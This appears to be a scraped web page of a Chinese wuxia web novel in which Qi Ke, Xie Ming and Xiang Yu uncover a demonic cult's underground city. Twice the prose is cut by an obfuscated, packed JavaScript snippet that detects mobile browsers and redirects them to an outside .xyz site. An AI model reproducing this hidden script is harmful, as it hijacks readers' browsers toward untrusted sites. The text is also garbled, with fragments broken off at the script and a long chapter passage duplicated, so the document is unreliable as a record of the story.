她侧着身子转向谢明,谢明低着头,看不分明神色:“你小时候不是一直说想要闯荡江湖吗?但那时候我觉得你年纪小,也没从知行师父那儿把剑法学明白,所以不许你走远,可现在不同了,你的武功已达大乘幻境,江湖之上能打赢你的人不多,你才十七岁,正是该闯荡江湖的年纪,我不可能把你栓在身边一辈子,总有一天要放手的,现在就是极好的机会,少年人,就该骑白马,执长剑,快意恩仇。你总不能一直跟着我。”
“阿姐……”谢明深吸一口气,抬头,声音已经有些哽咽:“所以,阿姐你是不要我了吗?阿姐明明也是少年人,为何不能和我一起闯荡江湖?我们一起纵马长歌,问天下英雄不好吗?姐姐为什么一定要把我推远呢?”
他越说越委屈,嘴一瘪,豆大的泪珠夺眶而出。
齐珂心中不忍:“阿明……”可眼前的少年已经起身,发带上的铃铛被风吹得叮铃作响,他撇过头抹了抹眼泪:“不早了,我先回屋了,阿姐也早些休息吧。”
说罢,弯腰拿起长剑,飞身下楼,齐珂闭了闭眼,长叹一声,一炷香过,等听到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11803049|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
屋檐下辗转反侧的人呼吸声终于平稳,她眼中的柔情散去,眼神寒如冰霜,拿起剑飞跃而出,牡丹城外三里,有一片竹林。
竹深树密,偶闻虫鸣,她持剑负手而立,朗声道:“阁下既然来了,何不现身一见?”
“齐宫主果然厉害,竟能探得在下气息!”
竹林中传来簌簌声响,距离齐珂三丈远落下一个头戴黑色鬼面面具,身穿夜行服的男人,身姿挺拔,声音清朗,带有几分笑意,落地后对齐珂抱拳一礼。
“江湖之中,入梵云天境者不多,阁下带鬼面,是魔教中人?”
“非也~非也~我本江湖一闲人,一张琴,一壶酒,且陶陶,乐尽天真。不知来处,不问归途,哪里是什么魔教中人?”
“是吗?”齐珂笑道:“可能闲并非等闲人,阁下身份定不简单。此次过来,是为这两把剑?”
她举起手中的“干将莫邪”仿剑:“阁下真是好耐心啊,方才在我房中巡查未果,既然能耐着性子等这么久。”
“毕竟不能扰了宫主和谢小少爷谈天说地的温情时刻,在下甚闲,不差这点时间。”
齐珂眸色深沉近墨,抚摸着手中的两把仿剑,剑灵无反应,不是此人,她冷笑一声:“要我说,这两把剑不过是仿剑,真剑干将莫邪在名剑谱上也只排二十三位,阁下若真想得宝剑,不如多给我些钱,我替你打两把,我虽铸剑不多,但只要上了谱的,可从未落过前十。这两把,不要也罢。”
“齐公主好意,在下心领,只不过,这剑不是我的,再不还回去,有些人该着急了,还请宫主体谅。”
“还?”齐珂眼底的冰冷一闪而逝:“那得看你有没有这个本事!”
血月凌空,霹雳作响,齐珂脚尖点地,飞跃而起,朝他眉心劈头而下:“阁下既然来了,免不得讨教几招,同为梵云天境,还请阁下赐教!”
那人心中一惊,侧身将将避过,竹叶翻飞,重鞭猛击,鞭风强劲,打出一道道闪着蓝光的残影,他借势旋转,反身挥出一条红蛇,竟也是一条长鞭。血月破冰,长蛇吐信,两条长鞭狠狠缠在一起。
齐珂旋身而起,血月勾住“红蛇”,在头顶划出一条弧线,她反手一拧,身随鞭转,一时间,竹林中仿佛有千千万万个冰蓝色的圆月,一招“银盘高挂”将那人团团围住,齐珂冷哼一声:“在我面前用鞭子,阁下好胆量。”
谁知那人并未退却,忽然将凌空的“红蛇”收回胸前,在身前打出无数火红色的鞭花,宛若炮仗齐空,噼里啪啦震得人耳膜刺痛,忽然,那一朵朵鞭花中射出一根根响尾短箭,短箭乘风发出刺耳的悲鸣,男人朗声笑道:“虽知不敌,但愿一试!”
“来得好!”齐珂心中竟生出快意,她绽开笑颜,手中长鞭抖动,犹如千钧之势,忽然那打出的千万月影如雾消散,待寒光乍现,竟化作一柄高入云霄的弯月长刀,长刀闪着冷冷寒光,直斩向飞驰而来万箭齐发的响尾箭,一刀斩万法,撼动风云,掀起竹林飞叶千层巨浪!不,那不是弯月刀,世间万刀,皆是刚中带柔,但这柄刀刀势柔中带刚,这是软兵器!
万箭应声而破,冰蓝色的血月劈空而来,男人忽然撤步一转,旋身而起,荡起两根青葱长竹,竹影重叠,蓄势待发,一声空气被撕裂的长鸣,一根通体银黑的长箭如白虹贯日,发出尖锐的破空啸响。
齐珂内里翻涌,灌注于长鞭之上,血月出,长箭至——铛!!!!
万千翠竹被拦腰斩断,血月收回腰间,长箭入地两尺,只留下一搓闪着寒光的箭尾。
两人落地,竹叶簌簌而下,如一场瓢泼大雨。
“一支穿云箭,千军万马来相见!阁下,你可暴露身份了。”
“哈哈哈,江湖闲人,何谈身份?齐宫主莫要乱猜测了!”那人将“红蛇”缠回腰带上,对齐珂拱手一礼道:“江湖人言果然不错,若论软兵器,无人能出齐氏左右,今日受教。”
“阁下若一开始便用箭,我只怕占不得便宜。”她将手中两把仿剑丢过去,那人笑着接住:“宫主谦虚了,用箭的本事,我只学得皮毛。”
“多谢!”齐珂对此笑而不言,也认真行了一礼。那人笑着转身,不再停留,踏竹而去,空留竹林传响:“萍水相逢,何谈谢字!”
“我们还会再见的!”齐珂扬声。
“于道各努力,千里自同风!见或不见,有何妨?”
10. 第10章
翌日,向玉刚醒,床边一左一右,抱臂站着齐珂和谢明,巨高临下看他,左边那个眼中有愤怒,右边那个很明显一副看好戏的表情。
向玉被子半蒙着脸,只露出一双水波潋滟的眼睛:“有道是‘兰帐玉人睡觉,怪春衣,雪沾琼缀。绣床旋满,香毬无数……”
还没说完被齐珂打断:“有空念诗,不如下去看看,你家蓉儿等你许久了。”
“蓉儿?”向玉猛地坐起:“哪个蓉儿?”
“唰!”谢明展开手上的一沓画纸,画纸翻动,画上的人,头顶牡丹花丛,长袖善舞,衣袂翩翩,手中牵着的女子正是霁华楼里那个鬼步娘子。
向玉瞪大眼睛凑近看,最离谱的是,谢明还在每一张画作上把二人的对话标注下来,大多是向玉的独角戏:
“风吹仙袂飘飖举,犹似霓裳羽衣舞。”
“宁不知倾城与倾国,佳人难再得。”
“牡丹花下死,做鬼也风流。”
“相思似海深,旧事如天远。泪滴千千万万行,更使人,愁肠断。要见无因见,拚了终难拚。若是前生未有缘,待重结,来生愿。我不是施酒监,美人亦不是那位婉娘,故而……若在下想为娘子赎身,娘子可愿随我浪迹天涯,自此看千山万水,踏天南地北?”
…………
“你说要给她赎身,人姑娘今早找来了。”齐珂冷哼一声:“正事没办成,风流债倒欠了不少。”
“我那只是玩笑话!”向玉双手一摊,突然长叹一声,掩面呻吟道:“啊~珂珂,明明,头疼,我的头好疼。”
“你就这般没有担当?也罢,玉哥哥既不承认,那我下去替你将人打发了,只是玉哥哥,我看那位蓉娘子在下面等的时间久了,我能出手帮哥哥拦一拦,但她若是恼羞成怒闯上来,我可挡不住。”
“谁说我没担当!”向玉跳脚,蹦跶下床:“待我沐浴更衣,好好同她解释便是。”他把靠里的窗户打开一条缝,楼下正中果真坐着一个粉衣女子,面前三壶酒,对瓶吹酒。像是感应到楼上的目光,她抬头,向玉猛地关上窗:“咳咳~你们先出去吧,我梳洗一下就来。”
“玉哥哥可快些。”谢明笑得愈发得意,将画收起放进怀里。
向玉鸡皮疙瘩起了一身,浑身抖了抖,挥手把姐弟二人赶出去。
“他不愿?”林蓉看到二人下楼,手中的酒壶狠狠搁到桌上,头上插着的牡丹花震落两片花瓣。
“我什么都没说。”齐珂摊手。
“我也没有。”谢明也摊手。
“蓉儿啊~”突然,楼梯口传来一声谄媚的男声,向玉换了一件粉色绣牡丹的袍子下来,发间和腰带上都系着一朵粉色肉芙蓉:“我正想晚些去楼里找你呢,钱我都准备好了,等你们楼主今日登台献唱完,我就去寻她,从此还你自由身。”
他一到楼下就拉起林蓉的手,选了一张离旁边食客最远的桌子坐下,离齐珂谢明姐弟有一段距离,抬手喊道:“方才这姑娘的酒钱都记我账上,再上两壶上好的‘牡丹风月’!”
“公子此言当真?”林蓉没忍住打出一个酒嗝,两颊绯红,转头问道。
酒楼中人声嘈杂,他们又刻意压低声音,听不真切在说些什么,谢明夹着面前的花生米:“得!以后队伍里还得再拖一个。”
“我看未必。”齐珂看了那边两眼,向玉和林蓉的脑袋越凑越近,她收回视线,专心捡面前的花生米吃,嘟囔道:“我也想喝牡丹风月。”
“此处距福县,乌鸦送信一来一回两日之久,约莫再有一日就能回来,钱一到,阿姐想喝多少便喝多少。”谢明还在看那边的两人:“阿姐,你可觉奇怪?”
齐珂没有说话,谢明继续说:“我觉得这个蓉娘子看向玉的眼神没有爱慕,没有依恋,就算相识不过一晚,但对于肯花钱还她自由身的恩公总该有些感激吧,可她眼中全无这些感情,更多的是……”
“仰慕。”齐珂喝下一口最普通的烈酒,幽幽道:“对上位者的仰慕。”
“没错。”谢明忽然眉头紧簇,凑到齐珂面前,低声道:“阿姐,你说,会不会……”
“珂珂,明明!”两人的话被谢明打断,他满面春风搂着林蓉过来,女子娇羞地低着头,对二人施施然一礼:“今日多有打扰,早间来时,楼主吩咐,三位明日还会来听戏,雅间已备下,恭候三位大驾,至于……”
她扭捏着看了向玉一眼:“既还自由身,奴家也无旁的去处,不知几位日后往何处去,可否带奴家一并上路?”
“怕是不合适。”谢明冷着脸拒绝。
“这个,蓉儿啊~其实,你别看我们人模狗样的,我们做的事情……”
“人/伢/子,最擅长拐/卖像姑娘这样的美人。”齐珂笑眯眯接过向玉的话:“不瞒姑娘,这些年我们卖/出去的如花美眷不少,冰夷城怀玉楼,泽明城娇阑院,慕天城玉霞山庄,都是我们的老主顾,低价将你赎回来,再高价转/卖出去,我们能赚一大笔。”
“到时候能从各处买/更多的姑娘。”谢明仍然冷着脸,面无表情道。
“这……”林蓉脸上表情变了又变,向玉尴尬笑笑,捏着她的手安慰:“蓉儿啊,我方才也同你说了,我们要做的事情危险得很,稍不留神就会有性命之忧,你跟着我们,属实要受苦,美人蒙难,我会心疼的,我多给你些钱,你找一处热闹的地方,买个宅子落脚,好好生活,比跟着我们风餐露宿强。”
“确实,姑娘买完宅子记得再多请两个护院,免得碰上我们这种入/室/抢姑娘的。”齐珂笑得更欢。
“奴家都听公子的。”林蓉微微欠身:“时候不早了,今日出门耽搁已久,不再打搅各位,明日见。”说罢,她又要了两瓶牡丹风月,向三人道别。
“好本事啊!”齐珂斜眼看向玉,不咸不淡地讽刺道。
“哎哟~珂珂~我这不是想着你才忍痛将蓉娘子打发走的?”向玉抓住齐珂的袖子左右摇摆:“小二,再上三壶牡丹风月,不,四壶,这位美娇娘独饮两壶。”
他一手一个拉着两人坐下,谢明嫌弃地挣开,挤开向玉坐到齐珂身边。
“好好好~我坐对面。”向玉撩起粉色长袍,神秘兮兮道:“猜我问到了什么?”他环顾四周,压低声音:“这牡丹城的下面,还有一座地下城,据说是仿造地上城的布局一比一建造的,昨日,你们两个在屋顶聊天,登高望远,可觉城中布局熟悉?”
“你怎么知道我们昨晚?”谢明握紧拳头。
“我又没睡死,弟弟,这是江湖经验,青天白日无妨,但到了晚上,一定要时刻做好被美人强/上,随时开溜的准备,我都听到了啊,你们想甩掉我,这可不行!我会跟牢你们的,把你们跟丢了,我再到何处……”他冲齐珂抛媚眼,被齐珂的白眼怼回去:“到何处再寻像你姐姐这样貌若天仙的娘子?”
“滚!离我阿姐远一点。”谢明咬牙切齿:“所以,昨晚背你回来的时候,你是醒着的?”
“真是的,在楼上叫人家玉哥哥,下了楼就翻脸不认人。”他看向谢明,后者明显握紧腰上别着的剑,他做了一个息怒的手势:“昨晚……半梦半醒吧,不过弟弟,你太瘦了,后背硌得慌。”
“你!”
“别吵了!”齐珂喝断两人,看向谢明:“我对空间布局不敏感,阿明,仔细想想,城中布局……”
谢明停住,脑中一一闪过昨日看到的每一处街坊,脑海里迅速建图,点线相连,城中三百七十六坊,看似纷杂,但若用街道将所有的地方分区,这不就是……他猛地睁大眼睛,一字一顿道:
“玄武坛,九龙打垒?”
“这样大的工程,难道这儿才是玄武坛的真正驻地吗?”齐珂将信将疑地看向向玉:“那个蓉儿,竟会告诉你这些?”
“她也是深受其扰。”他示意两人再凑近些:“六十年前,魔教建造了许多这样的地下城池,用以暗中炼药试药,试药人不是被毒死,就是变成活死人。其实,玄武坛九龙打垒的建造方法也是仿造早年各大城池布局,百余年前战乱不断,以这种布局建城,一旦有危险,便可立即传讯到城中各处,百姓有时间可退。”
“这个我听说过,城池地基是一早便打好的,若要建地下城,以防坍塌,轻重落点都要与地上城对应,是以,玄武坛所铸地下城,布局大多与地上一致。”齐珂皱眉:“可是当年掘毁的城池中,没有牡丹城这座,难道一直都没有被发现?”
“狡兔三窟,没被发现的地下城不知还有多少。”向玉继续道:“不过听蓉儿说,牡丹城里这一座,是约莫三个月前重新开启的。”
“三月前?十六宫中第一个遭难的天雷宫,便是在三月前被灭门。”齐珂回忆自己收到第一份投奔信签的时间。
“你还是没有告诉我们,那个蓉娘子,为什么会告诉你这些?就因为你给她赎身?”谢明抓住这点不放。
“明明啊~这是我下面要说的重点。”向玉撩起胸前垂下的墨发:“地下城的入口就在霁华楼,出口城外三里竹林,林蓉说,这三个月,魔教的人不知从哪里抓了不少人回来,就在下面,煮/人。”
“煮/人?!”谢明震惊。
“温水药浴,七七四十九天。”齐珂想了想,还是给谢明解释:“听祖母说,当年魔教宣称炼制出了真正的长生不老药,但真正能长生不老的人,几十万里都难得一个,就是因为熬不过所谓的‘三重仙路’。
“第一重,挥刀自/残,濒死之际服下长生丹,熬过去的成了活/死/人,熬不过的就成死/人。”
“第二重,药浴,药浴中浸泡七七四十九天,每天六个时辰,每个时辰都会新添两味药剂,据说这一步,是锻造金刚之身,熬过去的,能刀枪不入,熬不过去的,就成了肉/汤。”
“第三重,就是最后的孟婆饮,了却前尘事,羽化成仙,若喝完还活着,便能真正长生不老,否则,内脏糜/烂,但因为已是金刚之身,所以躯壳仍在,七窍禁闭,人早已变成一个血/水缸了。”
“这……”谢明震怒:“荒唐,天下岂有长生不老之法?!师父曾说,万物皆无常,有生必有灭,不执着于生灭,方能得永恒喜乐。可魔教那帮畜生,不就是借着人对生的贪念去荼毒生灵,残害众生吗?什么三重仙路,那分明是……”
“嘘!你小点声!”向玉一把把他拉坐下来:“还有旁人在呢!”
“哼!”谢明气鼓鼓道:“你继续说。”
“蓉儿说那帮人在给绑来的人试第二重药浴时,觉得时间漫漫,百无聊赖,所以会从上面的霁华楼选戏子去唱曲,但暗无天日的地下城,有熬不过第一重天路被随意丢弃的尸/体,有正在经历第二重天路被禁锢在热锅里的可怜人,还有被抓来关着,哭天抢地,吃喝拉撒皆在一处的百姓,视觉嗅觉双重打击,正常人谁受得住?更别提她们晚上迎客还要收拾心情,笑脸迎人。”
“纵使如此,但为什么是告诉你?”
“当然是因为……咳咳!”向玉清清嗓子,嘴角怎么压都压不住:“我告诉她,我们乃当年铲除魔教,名震江湖的八杰后人!侠之大者,为国为民。吾等承祖辈遗志,定匡扶正义,降妖除魔,肃恶道,斩魔教,还武林以太平!”
“你有病吧?!”
-
第三日亥时三刻,齐珂带着向玉准时出现在霁华楼伊人笑雅间,君莫换了件桃红蹙金琵琶衣,脸上的酒晕妆更浓,见齐珂的视线落在自己身上,下意识皱眉往后退两步。
“嗯?你把她怎么了?”向玉悄悄问,齐珂没有理他,看着君莫勾唇笑道:“同你说过,这个妆容不好看,像猴子屁股。”
“非也!我觉得甚好!照花前后镜,花面交相映,花影云鬓,盈盈秋水,正衬娘子美貌!”向玉笑得风流:“才子配佳人,娘子这样一朵国色牡丹,若是再配上在下这样清雅却不寡淡,热情却不油腻的绿叶,呜~~”
脸被齐珂捂住:“闭嘴吧你!”
“珂珂~”向玉委屈,青葱十指抚上自己的脸,还好,没被这个大力丫头挤歪,他重换上笑容去看君莫,却见美人眉头皱得更紧,表情中是掩饰不住的嫌弃,又往后退了两步。
“我很油腻吗?”他侧移一步,歪向齐珂问道。
“嗯!”齐珂回答地毫不迟疑,看向离两人有一丈远的君莫:“说吧,去何处捉人?”
“不急,再等一刻。奴家记得,与你们同行的,还有一位小公子。”
“小孩儿贪杯,吃坏肚子,来不了。”齐珂笑了笑,轻轻踹了一脚向玉,后者哎哟一声:“对了,今日怎么不见蓉娘子,在下钱都备好了,等事了要给她赎身的。”
君莫的眼神在两人身上停留片刻,在桌旁坐下,双指捻起桌上的牡丹花,放到水盆里,淡淡道:“先捉到人再说吧。她告诉你们地下城的入口在我们这儿?”
“何须她告诉,我们能查到。”向玉满脸自信,支起胳膊搭在齐珂肩上,齐珂沉肩让开,向玉踉跄,尴尬地咳了一声,装作无事发生一样去整理自己的衣摆。
“哦?”君莫没有抬头,用手舀起清水,浇在牡丹花上,可是不知水里添加了什么东西,刚一碰到那朵开得正艳的红色牡丹,牡丹花瞬间发出呲呲的声响,很快花瓣蜷曲,只一眨眼的功夫,那朵鲜花就闭拢起来,合成了一个花苞的形状:“是因为那个没来的公子?谢家被灭门时他才七岁,我还以为谢家的追踪术,他只学得皮毛呢。”
“君莫。”齐珂出声,在他身边坐下,直勾勾看向他,君莫下意识后仰,齐珂幽幽道:“有些话最好烂在肚子里,谢家郎君在江湖是死人。”
“生死人定。”
“呵,今日不怕了?”齐珂的眼睛微眯,射出危险的光芒,视线从他的脸上游移到覆着薄纱的脖颈儿。
“毕竟你就要死了,死人会保守秘密。进了地下城的外人,除了我楼里的角儿,没一个能活着出来。现在门未开,你们仍有机会离开。”
齐珂的压迫感很强,君莫看着她的眼睛就能想起前日自己身上那只上下游移的手,虽说并没有对他做什么实质上的事情,但自那晚过后,他觉得自己不干净了,而罪魁祸首就这样一眨不眨地看着他,他坐不住,后移一步起身,留头转身,尽管身体已经很怂,说出的话倒还有几分气魄。
齐珂:“你不和我们一道下去?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11803061|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>向玉:“什么秘密?我错过什么了?风流韵事还是恩爱纠葛?”
两人同时发问。
“啧!”齐珂龇牙,向玉立马低头敛声:“好好好,我不问了。”
“地下城的就在柜子之后,子时从内部开启,送唱曲的角儿上来,我不下去,我怕死。”君莫看向向玉,忽然轻笑一声:“哦~对了,今日下去唱曲的,是林蓉。”
放在西边的柜子里传来“咯咯咯”的声响,是门锁滑动的声音,齐珂看向桌上的那座牡丹花钟——子时已到。
君莫上前打开柜子:“魔教之人就在下面,二位请。”
“蓉儿还没上来。”向玉把住柜门。
“兴许是她唱得太好,下头的郎君舍不得她走呢?这世上可不止公子一人怜香惜玉。”君莫突然绽出一抹璀璨的笑意:“二位快些吧,这门很快就要关上了。”
向玉还想再说些什么,领子被齐珂揪住,直直跌了进去。身后大门合拢,四周寂静无声,似是堕入无边的黑暗,身后的大门像是隔绝阴阳两岸的往生门,门外还有人气,门内是无尽的死寂。
“哎哟~我的屁股~珂珂~”
齐珂吹亮一个火折子,眼前登时亮堂,一条很长的甬道,甬道向下,火光能照到的地方是密密麻麻的台阶。
“摆明了是陷进,咱们还非得往下跳,当真孤勇!而且今天是十五,你有没有听说过一个说法,十五的时候阴气重……”
“马后炮!“齐珂没好气地打断他:“城外竹林又不是没找到入口,你有本事从那儿下来啊。”
“天下阵法,反攻要比正闯难上百倍!何必去废那个功夫?”
“那你还说个屁!赶紧起来!”
“哦!”向玉揉着屁股起身,齐珂已经自顾自往下走了,他小碎步跑到齐珂身后,挽住齐珂的胳膊:“你等等我,我害怕。”
“珂珂,我瞧着那个君莫娘子不是个好人,长得好看的女人都危险。”感受到齐珂冷嗖嗖的目光,他赶紧补一句:“你除外!她让我们今日过来,说不准早就通知下面的人了,我俩过去,只可能两种结果。”
他一手挎着齐珂,一手掰指头:“下面机关密布,魔教中人布好天罗地网,就等我们两个自投罗网,好将我们一网打尽,你就好比人参果,我就好比唐僧肉,都是大补,吃干抹净,骨头都不剩。”
“其二,他们碍于我俩威名,早就吓跑了,我们过去扑了一场空,浪费时间。”
“你有什么威名?”齐珂挣了两下没挣开,手臂反而被向玉越抱越紧,她放弃抵抗继续往下走。
“衢县啊,惩恶扬善,救纤弱妇人于水火。”
“她可不用你救。”齐珂不屑笑道,忽然她脚步一顿,黑暗中除了火折子的光亮,她腰间系着的香囊里也闪出青色的亮光,齐珂捏紧香囊,望向幽深的甬道尽头,眸光加深:“我能确定,炼尸人没走。”
“剑灵?”向玉探头:“你不是把那两把剑还回去了吗?”
“你是真没睡死啊!”齐珂踹他。
“哎呀,习惯使然嘛,我这不担心那一众未能与我修成正果的美人半夜寻仇?你快说说,这是……”
“天下灵剑,剑灵并不是遍布于剑身的,会找阴气最强处汇聚,以阴养灵,所以江湖之中,那些叫得出名字的好剑,在剑鞘处都会镶一些诸如玉石一样的装饰,剑灵汇聚于此,就算是世间至阳之剑七星龙渊,在剑首,也有一枚琼玉。刀亦然,你的刀也是如此。”
“这些我竟从未听过,用刀数十载,枉为刀客了。”向玉难得没有插科打诨,摇头感叹。
“你不是铸剑师,铸刀客,不知道这些也正常。”
“所以……”向玉看向齐珂腰间闪着青光的香囊:“你把人家最值钱的玉抠了。”
“当然!过后还能卖钱,怎么样,我是不是很聪明?”
向玉没有作声,唇角微勾,低眉轻笑。
两人谈话间,甬道已见底,面前一堵石墙,严丝合缝,透不出墙后一丝一毫的气息。齐珂上前,手指在墙上摸索,敲无空响,帖耳无风声,她转头看向接过火折子站在原地的向玉:“你试试?”
“我来。”向玉粉色腰带解开,兵刃出鞘之声在甬道中格外清晰,刹时,光华毕现,他持刀而立,走上前,手掌贴住墙面,内力缓缓探进去,一寸,两寸,三寸,四寸,五寸,六寸……
石墙竟有足足七寸之厚!
两人对视一眼,向玉蹙眉提醒道:“珂珂,退后。”
“你又要直接劈开?”
向玉眼眸一弯,顿时波光粼粼,嘴角绽开一个浅浅的梨涡,整个人在昏暗的灯火下显得更加漂亮:“我跟你说过,一刀破万法!只要实力足够,世间所有机括都能如此破!”
说罢,他力灌长刀,刀身现出火红的光晕,他手臂扬起,不像寻常刀客一般铿锵,倒像舞蹈似的,长袖翻飞,甚是好看,突然,伴随着轰隆巨响,脚下震颤,刺眼的刀芒直冲而起,宛如九天遨游的火龙,火龙吐舌,墙面燃起熊熊火光,空气中腾起的炽热扑面而来。
但那却不是真火,是刀意!蓬勃汹涌到如烈火般能将一切焚干毁烬的刀意!
石墙发出刺耳可怖的声响,石头从青色变成碳一样的深黑色,“咔咔咔”,最顶部传来爆裂声,齐珂甩开手中的长鞭,死死盯着开始四分五裂的石墙。
“嘿嘿,珂珂,怎么样,我是不是很……”
“小心!”向玉话音未落,腰间被齐珂的血月缠上,上千根银针透过薄薄的衣衫刺进皮肤,他痛呼一声,整个人被齐珂的鞭子拽至身前,齐珂一言不发,眼中闪过嗜血之色,提鞭就战。拥挤的甬道中充斥着如同猛兽一般的嘶吼声,从石墙后成片成片涌出来的不是旁的东西,而是上百个活/死/人!!
血月为长鞭,在狭小的甬道中无法完全使出威力,但齐珂身法极好,愣是在密密麻麻,多如蜚蠊的包围中杀出一条血路。
“攻头!”
“我知道!”齐珂怒喝。
向玉提气而战,“无名”在手,所向披靡,他旋身挥出一片片绚烂的光幕,似点点繁星从空中坠落而下,光幕虹芒耀满整座甬道,杀开周身环绕所有阴霾。一招“白驹空谷”,“咚”得一声闷响,如同寺庙暮钟,又如空谷坠响,纵使内力强如齐珂,也不觉心中震颤,她稳住心神向门边杀去,向玉紧随其后,无名刀光闪烁,挥出一道道残影。
门后似是涌出最后一批活/死/人,血月横扫而过,忽然,面前一排女人身上现出青紫色的银光,齐珂一怔,身后的活/死/人伸出利爪就要对着她的心脏掏去,齐珂长鞭出手,几乎同时,那人的脑袋被血月和无名从不同的方向击穿,瞬时脑/浆四溅。
齐珂看向面前身染青紫光芒的女子,眼中闪过不忍,但见又有人扑来,旋身挥鞭,鞭随身转,又是青紫色的银光一片:“这……”
“珂珂!”向玉飞身上前拉起齐珂手腕:“走啊!”
他拽着人飞快往前奔去,脑后的发带打在齐珂的脸上,一如两人初见。齐珂深吸一口气定下心神,刚想挣开,却听前面向玉突然朗笑出声:“不理你们了,带着小美人私/奔喽!”
10. 第10章
翌日,向玉刚醒,床边一左一右,抱臂站着齐珂和谢明,巨高临下看他,左边那个眼中有愤怒,右边那个很明显一副看好戏的表情。
向玉被子半蒙着脸,只露出一双水波潋滟的眼睛:“有道是‘兰帐玉人睡觉,怪春衣,雪沾琼缀。绣床旋满,香毬无数……”
还没说完被齐珂打断:“有空念诗,不如下去看看,你家蓉儿等你许久了。”
“蓉儿?”向玉猛地坐起:“哪个蓉儿?”
“唰!”谢明展开手上的一沓画纸,画纸翻动,画上的人,头顶牡丹花丛,长袖善舞,衣袂翩翩,手中牵着的女子正是霁华楼里那个鬼步娘子。
向玉瞪大眼睛凑近看,最离谱的是,谢明还在每一张画作上把二人的对话标注下来,大多是向玉的独角戏:
“风吹仙袂飘飖举,犹似霓裳羽衣舞。”
“宁不知倾城与倾国,佳人难再得。”
“牡丹花下死,做鬼也风流。”
“相思似海深,旧事如天远。泪滴千千万万行,更使人,愁肠断。要见无因见,拚了终难拚。若是前生未有缘,待重结,来生愿。我不是施酒监,美人亦不是那位婉娘,故而……若在下想为娘子赎身,娘子可愿随我浪迹天涯,自此看千山万水,踏天南地北?”
…………
“你说要给她赎身,人姑娘今早找来了。”齐珂冷哼一声:“正事没办成,风流债倒欠了不少。”
“我那只是玩笑话!”向玉双手一摊,突然长叹一声,掩面呻吟道:“啊~珂珂,明明,头疼,我的头好疼。”
“你就这般没有担当?也罢,玉哥哥既不承认,那我下去替你将人打发了,只是玉哥哥,我看那位蓉娘子在下面等的时间久了,我能出手帮哥哥拦一拦,但她若是恼羞成怒闯上来,我可挡不住。”
“谁说我没担当!”向玉跳脚,蹦跶下床:“待我沐浴更衣,好好同她解释便是。”他把靠里的窗户打开一条缝,楼下正中果真坐着一个粉衣女子,面前三壶酒,对瓶吹酒。像是感应到楼上的目光,她抬头,向玉猛地关上窗:“咳咳~你们先出去吧,我梳洗一下就来。”
“玉哥哥可快些。”谢明笑得愈发得意,将画收起放进怀里。
向玉鸡皮疙瘩起了一身,浑身抖了抖,挥手把姐弟二人赶出去。
“他不愿?”林蓉看到二人下楼,手中的酒壶狠狠搁到桌上,头上插着的牡丹花震落两片花瓣。
“我什么都没说。”齐珂摊手。
“我也没有。”谢明也摊手。
“蓉儿啊~”突然,楼梯口传来一声谄媚的男声,向玉换了一件粉色绣牡丹的袍子下来,发间和腰带上都系着一朵粉色肉芙蓉:“我正想晚些去楼里找你呢,钱我都准备好了,等你们楼主今日登台献唱完,我就去寻她,从此还你自由身。”
他一到楼下就拉起林蓉的手,选了一张离旁边食客最远的桌子坐下,离齐珂谢明姐弟有一段距离,抬手喊道:“方才这姑娘的酒钱都记我账上,再上两壶上好的‘牡丹风月’!”
“公子此言当真?”林蓉没忍住打出一个酒嗝,两颊绯红,转头问道。
酒楼中人声嘈杂,他们又刻意压低声音,听不真切在说些什么,谢明夹着面前的花生米:“得!以后队伍里还得再拖一个。”
“我看未必。”齐珂看了那边两眼,向玉和林蓉的脑袋越凑越近,她收回视线,专心捡面前的花生米吃,嘟囔道:“我也想喝牡丹风月。”
“此处距福县,乌鸦送信一来一回两日之久,约莫再有一日就能回来,钱一到,阿姐想喝多少便喝多少。”谢明还在看那边的两人:“阿姐,你可觉奇怪?”
齐珂没有说话,谢明继续说:“我觉得这个蓉娘子看向玉的眼神没有爱慕,没有依恋,就算相识不过一晚,但对于肯花钱还她自由身的恩公总该有些感激吧,可她眼中全无这些感情,更多的是……”
“仰慕。”齐珂喝下一口最普通的烈酒,幽幽道:“对上位者的仰慕。”
“没错。”谢明忽然眉头紧簇,凑到齐珂面前,低声道:“阿姐,你说,会不会……”
“珂珂,明明!”两人的话被谢明打断,他满面春风搂着林蓉过来,女子娇羞地低着头,对二人施施然一礼:“今日多有打扰,早间来时,楼主吩咐,三位明日还会来听戏,雅间已备下,恭候三位大驾,至于……”
她扭捏着看了向玉一眼:“既还自由身,奴家也无旁的去处,不知几位日后往何处去,可否带奴家一并上路?”
“怕是不合适。”谢明冷着脸拒绝。
“这个,蓉儿啊~其实,你别看我们人模狗样的,我们做的事情……”
“人/伢/子,最擅长拐/卖像姑娘这样的美人。”齐珂笑眯眯接过向玉的话:“不瞒姑娘,这些年我们卖/出去的如花美眷不少,冰夷城怀玉楼,泽明城娇阑院,慕天城玉霞山庄,都是我们的老主顾,低价将你赎回来,再高价转/卖出去,我们能赚一大笔。”
“到时候能从各处买/更多的姑娘。”谢明仍然冷着脸,面无表情道。
“这……”林蓉脸上表情变了又变,向玉尴尬笑笑,捏着她的手安慰:“蓉儿啊,我方才也同你说了,我们要做的事情危险得很,稍不留神就会有性命之忧,你跟着我们,属实要受苦,美人蒙难,我会心疼的,我多给你些钱,你找一处热闹的地方,买个宅子落脚,好好生活,比跟着我们风餐露宿强。”
